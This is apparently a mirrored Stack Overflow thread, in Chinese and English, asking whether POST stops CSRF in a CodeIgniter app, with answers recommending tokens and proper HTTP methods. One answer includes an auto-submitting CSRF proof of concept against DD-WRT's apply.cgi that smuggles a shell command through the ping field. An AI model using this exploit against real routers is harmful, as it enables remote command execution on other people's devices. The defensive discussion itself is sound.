PHP 安全性使用 POST 而不是 GET 来防范 XSRF?

发布于 2024-10-21 16:09:06 字数 647 浏览 3 评论 0原文

我的应用程序中有一些像 http://mysite.com/module/45/set_name/new-name 这样的 URL,旨在使用 ajax 进行访问。

为了防止 XSRF,我强制此类请求为 POST 请求。使用 GET,使用以下方法生成 XSRF 很简单:

<img src="http://mysite.com/module/45/set_name/new-name"/>

使用 POST 可以防止这种特定的攻击,但这实际上比使用 GET 更安全吗?如果没有,还可以/应该做什么?

谢谢。


编辑:我正在使用 CodeIgniter 并在我的配置中有以下内容:

$config['csrf_protection'] = TRUE;
$config['csrf_token_name'] = 'csrf_test_name';
$config['csrf_cookie_name'] = 'csrf_cookie_name';
$config['csrf_expire'] = 3600;

我安全吗?开启 CSRF 有什么缺点吗?除了一小时后过期的表格之外?

I have some URLs like http://mysite.com/module/45/set_name/new-name in my application which are designed to be accessed using ajax.

In order to prevent XSRF I force such request to be POST requests. With GET it's trivial to generate a XSRF using the following:

<img src="http://mysite.com/module/45/set_name/new-name"/>

Using POST prevents this particular attack but is this actually any more secure than using GET? If not, what else can/should be done?

Thanks.


Edit: I'm using CodeIgniter and have the following in my config:

$config['csrf_protection'] = TRUE;
$config['csrf_token_name'] = 'csrf_test_name';
$config['csrf_cookie_name'] = 'csrf_cookie_name';
$config['csrf_expire'] = 3600;

Am I safe? Are there any downsides to having the CSRF on? Other than forms expiring after an hour?

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。

评论(4

寂寞花火° 2024-10-28 16:09:06

单独使用 POST 是不够的,因为有人可以制作带有隐藏输入元素的表单并自动将其提交到您的网站。它不像带有 GET 请求的 img 元素那么简单,但仍然是可能的。您应该在 POST 参数中使用某种形式的验证,例如随机值或会话令牌,与 cookie 不同,它们不会在 XSRF 请求中发送。

Using POST alone is not enough because someone can make a form with hidden input elements and automatically submit it to your website. It's not as easy as an img element with GET request but it's still possible. What you should use is some form of verification in the POST parameters, like a random value or session token that unlike cookies would not be sent in a XSRF request.

贵在坚持 2024-10-28 16:09:06

不修改帖子并不能解决这个问题。您应该阅读跨站请求伪造 (CSRF) 预防备忘单

这是我编写的基于 CSRF 漏洞的 Cocnept POST 证明示例。这将为您提供对 DD-WRT 的远程 root 访问权限

<html>
    <form method="post" action="http://192.168.1.1/apply.cgi" id=1>
        <input name="submit_button" value="Ping" type="hidden">
        <input name="action" value="ApplyTake" type="hidden">
        <input name="submit_type" value="start" type="hidden">
        <input name="change_action" value="gozila_cgi" type="hidden">
        <input name="next_page" value="Diagnostics.asp" type="hidden">
        <input name="ping_ip" value="echo owned">
        <input name="execute command" type="submit">
    </form>
</html>
<script>
    document.getElementById(1).submit();//remote root command execution!
</script>

No chaning to post does not solve this problem. You should read Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet.

Here is an example Proof of Cocnept POST based CSRF exploit that I wrote. This gives you remote root access to DD-WRT:

<html>
    <form method="post" action="http://192.168.1.1/apply.cgi" id=1>
        <input name="submit_button" value="Ping" type="hidden">
        <input name="action" value="ApplyTake" type="hidden">
        <input name="submit_type" value="start" type="hidden">
        <input name="change_action" value="gozila_cgi" type="hidden">
        <input name="next_page" value="Diagnostics.asp" type="hidden">
        <input name="ping_ip" value="echo owned">
        <input name="execute command" type="submit">
    </form>
</html>
<script>
    document.getElementById(1).submit();//remote root command execution!
</script>
旧伤慢歌 2024-10-28 16:09:06

为什么不检查随请求一起发送的推荐人呢?图像 src 和 javascript-sent 表单都会通知您该请求是从不同的主机发送的,您可以阻止该请求。

Why don't you just check the referrer sent along with the request? Both image src and javascript-sent form will inform you that the request is sent from a different host and you can just block that request.

知你几分 2024-10-28 16:09:06

你对这个问题的理解是错误的。
你真正的问题是完全不同的——你使用了不正确的方法。

当正确使用 GET 方法时,从服务器检索数据就不可能出现 CSRF 攻击。

因此,如果您的请求更改了服务器端的数据,您无论如何都必须将其更改为 POST,尽管存在诸如 CSRF、XSS 等这些浪漫而可怕的事情。
这只是技术基础

就 CSRF 本身而言,这根本不是什么大问题。只需确保所有表单都包含一些反 csrf 令牌(也存储在会话中)并且所有 POST 表单处理程序都会验证它。

You're taking this problem wrong.
Your real problem is completely different - you're using improper methods.

When GET method used properly, to retrieve data from server no CSRF attack could be possible ever.

So, if your request alters data on the server side, you have to change it to POST anyway, despite of all these romantic and scaring things like CSRF, XSS and such.
It's just a technology basics.

As of CSRF itself, it's not a big deal at all. Just make sure that all your forms contain some anti-csrf token (also stored in the session) and all POST form handlers do verify it.

~没有更多了~
我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
原文